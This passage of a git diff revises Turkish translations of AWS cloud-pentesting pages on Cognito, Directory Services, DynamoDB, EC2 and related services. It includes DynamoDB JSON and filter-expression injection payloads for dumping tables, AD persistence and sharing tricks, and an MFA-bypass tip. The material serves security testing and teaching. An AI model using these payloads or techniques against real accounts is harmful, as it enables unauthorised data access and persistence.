**şunları bilmeniz gerekir**: - kullanıcı havuzu kimliği - istemci kimliği @@ -347,7 +347,7 @@ token_type = tokens['AuthenticationResult']['TokenType'] ### REFRESH_TOKEN_AUTH & REFRESH_TOKEN -Bu **yöntem her zaman geçerli olacak** (devre dışı bırakılamaz) ancak geçerli bir yenileme token'ına sahip olmanız gerekir. +Bu **yöntem her zaman geçerli olacak** (devre dışı bırakılamaz) ancak geçerli bir refresh token'a sahip olmanız gerekir. ```bash aws cognito-idp initiate-auth \ --client-id 3ig6h5gjm56p1ljls1prq2miut \ @@ -357,7 +357,7 @@ aws cognito-idp initiate-auth \ ```
-Yenileme kodu +Yenileme Kodu ```python import boto3 import botocore @@ -395,16 +395,16 @@ Bu durumda **kimlik doğrulama**, **bir lambda fonksiyonunun yürütülmesi** ar ### Gelişmiş Güvenlik -Varsayılan olarak devre dışıdır, ancak etkinleştirildiğinde, Cognito **hesap ele geçirmelerini bulabilir**. Olasılığı en aza indirmek için, **aynı şehirdeki bir ağdan, aynı kullanıcı aracını kullanarak** (ve mümkünse IP ile) giriş yapmalısınız. +Varsayılan olarak devre dışıdır, ancak etkinleştirildiğinde, Cognito **hesap ele geçirmelerini bulma** yeteneğine sahip olabilir. Olasılığı en aza indirmek için **aynı şehirdeki bir ağdan, aynı kullanıcı aracını kullanarak** (ve mümkünse IP ile) giriş yapmalısınız. ### **MFA Hatırlama cihazı** -Kullanıcı aynı cihazdan giriş yaparsa, MFA atlanabilir, bu nedenle MFA korumasını atlamak için aynı tarayıcıdan aynı meta verilerle (IP?) giriş yapmayı deneyin. +Kullanıcı aynı cihazdan giriş yaparsa, MFA atlanabilir, bu nedenle MFA korumasını atlatmak için aynı tarayıcıdan aynı meta verilerle (IP?) giriş yapmayı deneyin. ## Kullanıcı Havuzu Grupları IAM Rolleri **Kullanıcıları Kullanıcı Havuzu** gruplarına eklemek mümkündür ve bu gruplar bir **IAM rolü** ile ilişkilidir.\ -Ayrıca, **kullanıcılar**, **farklı IAM rolleri** eklenmiş birden fazla gruba atanabilir. +Ayrıca, **kullanıcılar** farklı IAM rolleri eklenmiş **1'den fazla gruba atanabilir**. Bir grubun, ekli bir IAM rolü olan bir grubun içinde olsa bile, o grubun IAM kimlik bilgilerine erişebilmesi için **Kullanıcı Havuzunun bir Kimlik Havuzu tarafından güvenilir olması** gerektiğini unutmayın (ve o Kimlik Havuzunun ayrıntılarını bilmek). @@ -413,12 +413,12 @@ Kullanıcı, Kullanıcı Havuzunda (`aws cognito-idp initiate-auth...`) kimlik d
Bir kullanıcının erişebileceği **roller**, **`IdToken`** içindedir ve bir kullanıcı, **`aws cognito-identity get-credentials-for-identity`** ile **`--custom-role-arn`** kullanarak hangi rol için kimlik bilgileri almak istediğini **seçebilir**.\ -Ancak, eğer **varsayılan seçenek** **yapılandırılmış olan** ise (`varsayılan rolü kullan`), ve IdToken'dan bir role erişmeye çalışırsanız, **hata** alırsınız (bu nedenle önceki yapılandırma gereklidir): +Ancak, eğer **varsayılan seçenek** **yapılandırılmış olan** (`varsayılan rolü kullan`) ise ve IdToken'dan bir role erişmeye çalışırsanız, **hata** alırsınız (bu nedenle önceki yapılandırma gereklidir): ``` An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. ``` > [!WARNING] -> **Kullanıcı Havuzu Grubu**'na atanan rolün, **Kullanıcı Havuzuna güvenen Kimlik Sağlayıcı tarafından erişilebilir olması gerektiğini** unutmayın (çünkü IAM rolü **oturum kimlik bilgileri buradan alınacaktır**). +> **Kullanıcı Havuzu Grubu**'na atanan rolün, **Kullanıcı Havuzuna güvenen Kimlik Sağlayıcı** tarafından **erişilebilir** olması gerektiğini unutmayın (çünkü IAM rolü **oturum kimlik bilgileri buradan alınacaktır**). ```json { "Version": "2012-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md index 3fe06d02b..568e09a1c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -4,10 +4,10 @@ ## DataPipeline -AWS Data Pipeline, verilerin **erişimini, dönüşümünü ve verimli transferini** ölçekli bir şekilde kolaylaştırmak için tasarlanmıştır. Aşağıdaki işlemlerin gerçekleştirilmesine olanak tanır: +AWS Data Pipeline, verilerin **erişimini, dönüşümünü ve verimli transferini** ölçekli olarak kolaylaştırmak için tasarlanmıştır. Aşağıdaki işlemlerin gerçekleştirilmesine olanak tanır: 1. **Verilerinizi Depolandığı Yerden Erişin**: Çeşitli AWS hizmetlerinde bulunan verilere kesintisiz erişim sağlanabilir. -2. **Ölçekli Dönüşüm ve İşleme**: Büyük ölçekli veri işleme ve dönüşüm görevleri verimli bir şekilde gerçekleştirilir. +2. **Ölçekli Olarak Dönüştürün ve İşleyin**: Büyük ölçekli veri işleme ve dönüşüm görevleri verimli bir şekilde gerçekleştirilir. 3. **Sonuçları Verimli Bir Şekilde Transfer Edin**: İşlenmiş veriler, aşağıdaki gibi birden fazla AWS hizmetine verimli bir şekilde transfer edilebilir: - Amazon S3 - Amazon RDS @@ -33,7 +33,7 @@ Aşağıdaki sayfada **datapipeline izinlerini kötüye kullanarak ayrıcalıkla ## CodePipeline -AWS CodePipeline, uygulama ve altyapı güncellemeleri için **yayın boru hatlarınızı otomatikleştirmenize** yardımcı olan tamamen yönetilen bir **sürekli teslimat hizmetidir**. CodePipeline, tanımladığınız yayın modeline dayanarak, her kod değişikliğinde yayın sürecinizin **oluşturma, test etme ve dağıtım aşamalarını** otomatikleştirir. +AWS CodePipeline, uygulama ve altyapı güncellemelerini hızlı ve güvenilir bir şekilde otomatikleştirmenize yardımcı olan tamamen yönetilen bir **sürekli teslimat hizmetidir**. CodePipeline, tanımladığınız sürüm modeline dayanarak, her kod değişikliğinde sürüm sürecinizin **oluşturma, test etme ve dağıtım aşamalarını** otomatikleştirir. ### Enumeration ```bash @@ -56,7 +56,7 @@ Aşağıdaki sayfada **codepipeline izinlerini kötüye kullanarak ayrıcalıkla Bu, Amazon tarafından barındırılan ve tamamen yönetilen bir **sürüm kontrol hizmetidir**, verileri (belgeler, ikili dosyalar, kaynak kodu) özel olarak depolamak ve bulutta yönetmek için kullanılabilir. -Bu, kullanıcının Git'i bilmesini ve **kendi kaynak kontrol sistemini yönetmesini** veya altyapısını ölçeklendirme konusunda endişelenmesini **ortadan kaldırır**. Codecommit, kullanıcının mevcut Git tabanlı araçlarıyla sorunsuz bir şekilde çalıştığı anlamına gelen tüm standart **işlevleri destekler**. +Bu, kullanıcının Git'i bilmesini ve **kendi kaynak kontrol sistemini yönetmesini** veya altyapısını ölçeklendirme konusunda endişelenmesini **ortadan kaldırır**. Codecommit, Git'te bulunan tüm standart **işlevleri** destekler, bu da mevcut Git tabanlı araçlarla sorunsuz bir şekilde çalıştığı anlamına gelir. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index d510e265c..232e59ae9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -4,17 +4,17 @@ ## Directory Services -AWS Directory Service for Microsoft Active Directory, AWS Cloud'da bir dizin **kurmayı, işletmeyi ve ölçeklendirmeyi** kolaylaştıran yönetilen bir hizmettir. Gerçek **Microsoft Active Directory** üzerine inşa edilmiştir ve diğer AWS hizmetleriyle sıkı bir şekilde entegre edilmiştir, bu da dizin bilincine sahip iş yüklerinizi ve AWS kaynaklarınızı yönetmeyi kolaylaştırır. AWS Managed Microsoft AD ile mevcut Active Directory kullanıcılarınızı, gruplarınızı ve politikalarınızı kullanarak AWS kaynaklarınıza erişimi yönetebilirsiniz. Bu, kimlik yönetiminizi basitleştirmeye ve ek kimlik çözümlerine olan ihtiyacı azaltmaya yardımcı olabilir. AWS Managed Microsoft AD ayrıca otomatik yedeklemeler ve felaket kurtarma yetenekleri sunarak dizininizin kullanılabilirliğini ve dayanıklılığını sağlamaya yardımcı olur. Genel olarak, AWS Directory Service for Microsoft Active Directory, AWS Cloud'da yönetilen, yüksek kullanılabilirlikte ve ölçeklenebilir bir Active Directory hizmeti sunarak zaman ve kaynak tasarrufu yapmanıza yardımcı olabilir. +AWS Directory Service for Microsoft Active Directory, AWS Cloud'da bir dizin **kurmayı, işletmeyi ve ölçeklendirmeyi** kolaylaştıran yönetilen bir hizmettir. Gerçek **Microsoft Active Directory** üzerine inşa edilmiştir ve diğer AWS hizmetleriyle sıkı bir şekilde entegre edilmiştir, bu da dizin bilincine sahip iş yüklerinizi ve AWS kaynaklarınızı yönetmeyi kolaylaştırır. AWS Managed Microsoft AD ile mevcut Active Directory kullanıcılarınızı, gruplarınızı ve politikalarınızı kullanarak AWS kaynaklarınıza erişimi yönetebilirsiniz. Bu, kimlik yönetiminizi basitleştirmeye ve ek kimlik çözümlerine olan ihtiyacı azaltmaya yardımcı olabilir. AWS Managed Microsoft AD ayrıca otomatik yedeklemeler ve felaket kurtarma yetenekleri sunarak dizininizin kullanılabilirliğini ve dayanıklılığını sağlamaya yardımcı olur. Genel olarak, AWS Directory Service for Microsoft Active Directory, AWS Cloud'da yönetilen, yüksek kullanılabilirliğe sahip ve ölçeklenebilir bir Active Directory hizmeti sunarak zaman ve kaynak tasarrufu yapmanıza yardımcı olabilir. ### Options Directory Services, 5 tür dizin oluşturmanıza olanak tanır: -- **AWS Managed Microsoft AD**: AWS'de yeni bir **Microsoft AD** çalıştıracaktır. Yönetici parolasını ayarlayabilecek ve bir VPC'deki DC'lere erişebileceksiniz. -- **Simple AD**: **Linux-Samba** Active Directory uyumlu bir sunucu olacaktır. Yönetici parolasını ayarlayabilecek ve bir VPC'deki DC'lere erişebileceksiniz. -- **AD Connector**: **mevcut Microsoft Active Directory'nize dizin isteklerini yönlendiren** bir proxy. Bulutta herhangi bir bilgi önbelleğe almadan çalışacaktır. Bir **VPC**'de dinleyecek ve **mevcut AD'ye erişim için kimlik bilgileri** vermeniz gerekecek. +- **AWS Managed Microsoft AD**: AWS'de yeni bir **Microsoft AD** çalıştıracaktır. Yönetici parolasını ayarlayabilir ve bir VPC'deki DC'lere erişebilirsiniz. +- **Simple AD**: **Linux-Samba** Active Directory uyumlu bir sunucu olacaktır. Yönetici parolasını ayarlayabilir ve bir VPC'deki DC'lere erişebilirsiniz. +- **AD Connector**: **mevcut Microsoft Active Directory'nize dizin isteklerini yönlendiren** bir proxy'dir, bulutta herhangi bir bilgi önbelleğe almaz. Bir **VPC** içinde dinleyecek ve **mevcut AD'ye erişim için kimlik bilgileri** vermeniz gerekecek. - **Amazon Cognito User Pools**: Bu, Cognito User Pools ile aynıdır. -- **Cloud Directory**: Bu, **en basit** olanıdır. Kullanacağınız **şemayı** belirttiğiniz ve **kullanıma göre faturalandırıldığınız** bir **sunucusuz** dizin. +- **Cloud Directory**: Bu, **en basit** olanıdır. Kullanacağınız **şemayı** belirttiğiniz ve **kullanıma göre faturalandırıldığınız** bir **sunucusuz** dizindir. AWS Directory services, mevcut **yerel** Microsoft AD'nizle **senkronize** olmanıza, AWS'de **kendi dizininizi** çalıştırmanıza veya **diğer dizin türleriyle** senkronize olmanıza olanak tanır. @@ -37,13 +37,13 @@ aws ds describe-certificate --directory-id --certificate-id ``` ### Giriş -Dizin **`AccessUrl`** alanında bir **alan** içeriyorsa, bu, bir **kullanıcının** muhtemelen bazı **AWS hizmetlerinde** **AD kimlik bilgileri** ile **giriş yapabileceği** anlamına gelir: +Dizin tanımında **`AccessUrl`** alanında bir **alan adı** varsa, bu, bir **kullanıcının** muhtemelen bazı **AWS hizmetlerinde** **AD kimlik bilgileri** ile **giriş yapabileceği** anlamına gelir: - `.awsapps.com/connect` (Amazon Connect) - `.awsapps.com/workdocs` (Amazon WorkDocs) - `.awsapps.com/workmail` (Amazon WorkMail) -- `.awsapps.com/console` (Amazon Yönetim Konsolu) -- `.awsapps.com/start` (IAM Kimlik Merkezi) +- `.awsapps.com/console` (Amazon Management Console) +- `.awsapps.com/start` (IAM Identity Center) ### Yetki Yükseltme @@ -55,12 +55,12 @@ Dizin **`AccessUrl`** alanında bir **alan** içeriyorsa, bu, bir **kullanıcın ### Bir AD kullanıcısı kullanarak -Bir **AD kullanıcısına**, üstlenmesi gereken bir Rol aracılığıyla **AWS yönetim konsoluna erişim** verilebilir. **Varsayılan kullanıcı adı Admin**'dir ve şifresinin **AWS konsolundan değiştirilmesi** mümkündür. +Bir **AD kullanıcısına**, üstlenmesi gereken bir Rol aracılığıyla **AWS yönetim konsoluna erişim** verilebilir. **Varsayılan kullanıcı adı Admin**'dir ve **şifresini** AWS konsolundan **değiştirmek** mümkündür. Bu nedenle, **Admin'in şifresini değiştirmek**, **yeni bir kullanıcı oluşturmak** veya bir kullanıcının **şifresini değiştirmek** ve o kullanıcıya erişimi sürdürmek için bir Rol vermek mümkündür.\ Ayrıca, **AD içinde bir gruba kullanıcı eklemek** ve **o AD grubuna bir Role erişim vermek** de mümkündür (bu sürekliliği daha gizli hale getirmek için). -### AD'yi paylaşma (kurbanın saldırgana) +### AD'yi paylaşma (kurbandan saldırgana) Bir AD ortamını bir kurbandan bir saldırgana paylaşmak mümkündür. Bu şekilde saldırgan, AD ortamına erişmeye devam edebilecektir.\ Ancak, bu, yönetilen AD'yi paylaşmayı ve ayrıca bir VPC peering bağlantısı oluşturmayı gerektirir. @@ -69,7 +69,7 @@ Burada bir kılavuz bulabilirsiniz: [https://docs.aws.amazon.com/directoryservic ### ~~AD'yi paylaşma (saldırgandan kurbana)~~ -Farklı bir AD ortamındaki kullanıcılara bir AWS hesabına AWS erişimi vermenin mümkün olmadığı görünmektedir. +Farklı bir AD ortamındaki kullanıcılara bir AWS hesabına erişim vermenin mümkün olmadığı görünmektedir. ## WorkDocs diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md index aaac992de..7239ea91e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md @@ -4,7 +4,7 @@ ## DocumentDB -Amazon DocumentDB, MongoDB ile uyumluluk sunarak, **hızlı, güvenilir ve tamamen yönetilen bir veritabanı hizmeti** olarak sunulmaktadır. Dağıtım, işletim ve ölçeklenebilirlikte basitlik için tasarlanmış olan bu hizmet, **bulutta MongoDB uyumlu veritabanlarının sorunsuz bir şekilde taşınmasını ve işletilmesini** sağlar. Kullanıcılar, mevcut uygulama kodlarını çalıştırmak ve tanıdık sürücüleri ve araçları kullanmak için bu hizmetten yararlanabilir, böylece MongoDB ile çalışmaya benzer bir geçiş ve işletim süreci sağlanır. +Amazon DocumentDB, MongoDB ile uyumluluk sunarak, **hızlı, güvenilir ve tamamen yönetilen bir veritabanı hizmeti** olarak sunulmaktadır. Dağıtım, işletim ve ölçeklenme açısından basitlik için tasarlanmış olan bu hizmet, **MongoDB uyumlu veritabanlarının bulutta sorunsuz bir şekilde taşınmasını ve işletilmesini** sağlar. Kullanıcılar, mevcut uygulama kodlarını çalıştırmak ve tanıdık sürücüleri ve araçları kullanmak için bu hizmetten yararlanabilir, böylece MongoDB ile çalışmaya benzer bir geçiş ve işletim süreci sağlanır. ### Enumeration ```bash @@ -19,9 +19,9 @@ aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name ``` -### NoSQL Injection +### NoSQL Enjeksiyonu -DocumentDB, MongoDB uyumlu bir veritabanı olduğundan, yaygın NoSQL injection saldırılarına karşı da savunmasız olduğunu düşünebilirsiniz: +DocumentDB, MongoDB uyumlu bir veritabanı olduğundan, yaygın NoSQL enjeksiyon saldırılarına karşı da savunmasız olduğunu düşünebilirsiniz: {{#ref}} https://book.hacktricks.xyz/pentesting-web/nosql-injection @@ -33,7 +33,7 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection ../aws-unauthenticated-enum-access/aws-documentdb-enum.md {{#endref}} -## References +## Referanslar - [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index 0bb8bcf48..694ea5827 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -18,13 +18,13 @@ Varsayılan olarak, DynamoDB, **Amazon DynamoDB'ye ait** bir KMS anahtarı kulla ### Yedeklemeler & S3'e Dışa Aktarma -**Tablo yedeklemelerinin** oluşturulmasını **planlamak** veya **talep üzerine** oluşturmak mümkündür. Ayrıca, bir tablo için **Zamanda Nokta Kurtarma (PITR)** özelliğini etkinleştirmek de mümkündür. Zamanda nokta kurtarma, yanlışlıkla yazma veya silme işlemlerine karşı koruma sağlamak için DynamoDB verilerinizi **35 gün** boyunca sürekli **yedekler**. +**Tablo yedeklemelerinin** oluşturulmasını **planlamak** veya **talep üzerine** oluşturmak mümkündür. Ayrıca, bir tablo için **Zamanda Nokta Kurtarma (PITR)** özelliğini etkinleştirmek de mümkündür. Zamanda nokta kurtarma, yanlış yazma veya silme işlemlerine karşı koruma sağlamak için DynamoDB verilerinizi **35 gün** boyunca sürekli **yedekler**. Ayrıca, **bir tablonun verilerini S3'e dışa aktarmak** da mümkündür, ancak tablonun **PITR etkinleştirilmiş** olması gerekir. ### GUI -[Local Dynamo hizmetleri](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/) için bir GUI bulunmaktadır, [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack) vb. gibi, bu da faydalı olabilir: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) +[https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) gibi yerel Dynamo hizmetleri için [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack) gibi yararlı bir GUI bulunmaktadır. ### Enumeration ```bash @@ -65,7 +65,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints ../aws-privilege-escalation/aws-dynamodb-privesc.md {{#endref}} -### İstismar Sonrası +### Saldırı Sonrası {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -89,13 +89,13 @@ https://book.hacktricks.xyz/pentesting-web/sql-injection ### NoSQL Enjeksiyonu -DynamoDB'de verileri almak için farklı **koşullar** kullanılabilir, eğer bir NoSQL Enjeksiyonunda olduğu gibi verileri almak için **daha fazla koşulu birleştirmek** mümkünse gizli verilere ulaşabilir (veya tüm tabloyu dökebilirsiniz).\ +DynamoDB'de verileri almak için farklı **koşullar** kullanılabilir, eğer bir NoSQL Enjeksiyonu'nda olduğu gibi **verileri almak için daha fazla koşul zincirleme** mümkünse, gizli verilere (veya tüm tabloyu dökme) ulaşabilirsiniz.\ DynamoDB tarafından desteklenen koşulları burada bulabilirsiniz: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) Verilere **`query`** veya **`scan`** aracılığıyla erişiliyorsa **farklı koşulların** desteklendiğini unutmayın. > [!NOTE] -> Aslında, **Query** işlemleri çalışması için **birincil** anahtarda **"EQ" (eşittir)** koşulunu belirtmelidir, bu da onu **NoSQL enjeksiyonlarına karşı daha az duyarlı** hale getirir (ve ayrıca işlemi çok sınırlı hale getirir). +> Aslında, **Query** işlemleri, çalışması için **birincil** anahtarda **"EQ" (eşittir)** koşulunu belirtmelidir, bu da onu **NoSQL enjeksiyonlarına karşı daha az duyarlı** hale getirir (ve ayrıca işlemi çok sınırlı hale getirir). Eğer **karşılaştırmayı** değiştirebilir veya yenilerini ekleyebilirseniz, daha fazla veri alabilirsiniz. ```bash @@ -110,12 +110,12 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection ### Ham Json enjeksiyonu -> [!CAUTION] +> [!DİKKAT] > **Bu zafiyet, artık kullanımdan kaldırılmış olan dynamodb Scan Filter'a dayanmaktadır!** -**DynamoDB**, DB içindeki verileri **arama** için **Json** nesnelerini kabul eder. Eğer arama için gönderilen json nesnesinde yazma yeteneğiniz olduğunu bulursanız, DB'yi dökebilir, tüm içeriklerini alabilirsiniz. +**DynamoDB**, DB içindeki verileri **arama** için **Json** nesnelerini kabul eder. Eğer arama için gönderilen json nesnesinde yazma yapabileceğinizi bulursanız, DB'yi dökebilir, tüm içeriklerini alabilirsiniz. -Örneğin, aşağıdaki gibi bir isteğe enjeksiyon yapmak: +Örneğin, bir isteğe enjeksiyon yaparak: ```bash '{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}' ``` @@ -123,9 +123,9 @@ bir saldırgan şunları enjekte edebilir: `1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0` -ID 1000 için "EQ" koşulunu düzeltin ve ardından 0'dan büyük bir Id dizesine sahip tüm verileri arayın, bu da hepsidir. +ID 1000 için "EQ" koşulunu düzeltin ve ardından 0'dan büyük bir Id dizesi ile tüm verileri arayın, bu da hepsidir. -Başka bir **güvenlik açığı olan örnek bir giriş kullanarak** şöyle olabilir: +Başka bir **gü vulnerable örnek bir giriş kullanarak** şöyle olabilir: ```python scan_filter = """{ "username": { @@ -148,11 +148,11 @@ password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none ``` ### :property Injection -Bazı SDK'lar, gerçekleştirilecek filtrelemeyi belirten bir dize kullanmaya izin verir: +Bazı SDK'lar, gerçekleştirilecek filtrelemeyi belirten bir dize kullanmaya izin verir, örneğin: ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` -DynamoDB'de **filtre ifadelerinde** bir niteliğin **değerini** **değiştirmek** için öğeleri tararken, token'lar **`:`** karakteri ile **başlamalıdır**. Bu token'lar, **çalışma zamanında** gerçek **nitelik değeri ile değiştirilir**. +DynamoDB'de **filtre ifadelerinde** bir niteliğin **değerini** **değiştirmek** için öğeleri tararken, token'ların **`:`** karakteri ile **başlaması** gerektiğini bilmelisiniz. Bu token'lar, **çalışma zamanında** gerçek **nitelik değeri ile** **değiştirilecektir**. Bu nedenle, önceki gibi bir giriş, şu şekilde atlatılabilir: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index 82967609f..f9d25266e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -12,9 +12,9 @@ aws-vpc-and-networking-basic-information.md ## EC2 -Amazon EC2, **sanallaştırılmış sunucular** başlatmak için kullanılır. **Güvenlik** ve **ağ** yapılandırmasına izin verir ve **depolama** yönetimini sağlar. Amazon EC2'nin esnekliği, kaynakları yukarı ve aşağı ölçeklendirme yeteneğinde belirgindir; bu, değişen gereksinim değişikliklerine veya popülaritedeki artışlara etkili bir şekilde uyum sağlamasını sağlar. Bu özellik, kesin trafik tahminleri yapma gereksinimini azaltır. +Amazon EC2, **sanallaştırılmış sunucular** başlatmak için kullanılır. **Güvenlik** ve **ağ** yapılandırmasına ve **depolama** yönetimine olanak tanır. Amazon EC2'nin esnekliği, kaynakları yukarı ve aşağı ölçeklendirme yeteneğinde belirgindir; bu, değişen gereksinim değişikliklerine veya popülaritedeki artışlara etkili bir şekilde uyum sağlamasını sağlar. Bu özellik, kesin trafik tahminleri yapma gereğini azaltır. -EC2'de sıralanacak ilginç şeyler: +EC2'de sayılacak ilginç şeyler: - Sanal Makineler - SSH Anahtarları @@ -31,11 +31,11 @@ EC2'de sıralanacak ilginç şeyler: **EC2 örnekleri** üzerinde çalışan uygulamalara izin vermek için **roller** kullanmak biraz ekstra yapılandırma gerektirir. Bir EC2 örneğinde çalışan bir uygulama, sanallaştırılmış işletim sistemi tarafından AWS'den soyutlanmıştır. Bu ekstra ayrım nedeniyle, bir AWS rolünü ve ona bağlı izinleri bir EC2 örneğine atamak ve bunları uygulamalarına sunmak için ek bir adım gereklidir. -Bu ek adım, örneğe bağlı bir [_**örnek profili**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) **oluşturulmasıdır**. **Örnek profili, rolü içerir ve** örnekte çalışan bir uygulamaya rolün geçici kimlik bilgilerini sağlayabilir. Bu geçici kimlik bilgileri, uygulamanın API çağrılarında kaynaklara erişmek ve yalnızca rolün belirttiği kaynaklara erişimi sınırlamak için kullanılabilir. **Bir EC2 örneğine yalnızca bir rol atanabileceğini** ve örnekteki tüm uygulamaların aynı rolü ve izinleri paylaştığını unutmayın. +Bu ek adım, örneğe bağlı bir [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) **oluşturulmasıdır**. **Instance profile, rolü içerir ve** örnekte çalışan bir uygulamaya rolün geçici kimlik bilgilerini sağlayabilir. Bu geçici kimlik bilgileri, uygulamanın API çağrılarında kaynaklara erişmek ve yalnızca rolün belirttiği kaynaklara erişimi sınırlamak için kullanılabilir. **Bir EC2 örneğine yalnızca bir rol atanabileceğini** ve örnekteki tüm uygulamaların aynı rolü ve izinleri paylaştığını unutmayın. ### Metadata Endpoint -AWS EC2 meta verisi, bir Amazon Elastic Compute Cloud (EC2) örneği hakkında, örneğe çalışma zamanında mevcut olan bilgilerdir. Bu meta veri, örneğin örnek kimliği, çalıştığı kullanılabilirlik bölgesi, örneğe bağlı IAM rolü ve örneğin ana bilgisayar adı gibi bilgiler sağlamak için kullanılır. +AWS EC2 metadata, bir Amazon Elastic Compute Cloud (EC2) örneği hakkında, örneğin çalışma zamanında mevcut olan bilgilerdir. Bu metadata, örneğin örnek kimliği, çalıştığı kullanılabilirlik bölgesi, örneğe bağlı IAM rolü ve örneğin ana bilgisayar adı gibi bilgileri sağlamak için kullanılır. {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -127,7 +127,7 @@ aws ec2 describe-route-tables aws ec2 describe-vpcs aws ec2 describe-vpc-peering-connections ``` -### Kimlik Doğrulaması Olmayan Erişim +### Kimlik Doğrulama Olmadan Erişim {{#ref}} ../../aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -141,7 +141,7 @@ Aşağıdaki sayfada **EC2 izinlerini kötüye kullanarak yetki yükseltmeyi** k ../../aws-privilege-escalation/aws-ec2-privesc.md {{#endref}} -### İstismar Sonrası +### Sonrası-İstismar {{#ref}} ../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/ @@ -149,13 +149,13 @@ Aşağıdaki sayfada **EC2 izinlerini kötüye kullanarak yetki yükseltmeyi** k ## EBS -Amazon **EBS** (Elastic Block Store) **anlık görüntüleri**, temelde AWS EBS hacimlerinin statik **yedekleridir**. Diğer bir deyişle, belirli bir zamanda bir **EC2** Örneğine bağlı **disklerin** **kopyalarıdır**. EBS anlık görüntüleri bölgeler ve hesaplar arasında kopyalanabilir veya hatta indirilebilir ve yerel olarak çalıştırılabilir. +Amazon **EBS** (Elastic Block Store) **anlık görüntüleri**, temelde AWS EBS hacimlerinin statik **yedekleri**dir. Diğer bir deyişle, belirli bir zamanda bir **EC2** Örneğine bağlı **disklerin** **kopyaları**dır. EBS anlık görüntüleri bölgeler ve hesaplar arasında kopyalanabilir veya hatta indirilebilir ve yerel olarak çalıştırılabilir. Anlık görüntüler, **kaynak kodu veya API anahtarları** gibi **hassas bilgiler** içerebilir, bu nedenle, şansınız varsa, kontrol etmeniz önerilir. ### AMI & EBS Farkı -Bir **AMI**, **bir EC2 örneği başlatmak için** kullanılırken, bir EC2 **Anlık Görüntüsü**, **bir EBS hacminde depolanan verileri yedeklemek ve kurtarmak için** kullanılır. Bir EC2 Anlık Görüntüsü yeni bir AMI oluşturmak için kullanılabilir, ancak bu bir AMI ile aynı şey değildir ve bir uygulamayı çalıştırmak için gereken işletim sistemi, uygulama sunucusu veya diğer yazılımlar hakkında bilgi içermez. +Bir **AMI**, **EC2 örneği başlatmak** için kullanılırken, bir EC2 **Anlık Görüntüsü**, **EBS hacminde depolanan verileri yedeklemek ve kurtarmak** için kullanılır. Bir EC2 Anlık Görüntüsü yeni bir AMI oluşturmak için kullanılabilir, ancak bu bir AMI ile aynı şey değildir ve bir uygulamayı çalıştırmak için gereken işletim sistemi, uygulama sunucusu veya diğer yazılımlar hakkında bilgi içermez. ### Yetki Yükseltme @@ -167,11 +167,11 @@ Aşağıdaki sayfada **EBS izinlerini kötüye kullanarak yetki yükseltmeyi** k ## SSM -**Amazon Simple Systems Manager (SSM)**, EC2 örneklerinin gruplarını uzaktan yönetmeyi sağlar ve yönetimlerini çok daha kolay hale getirir. Bu örneklerin her biri, 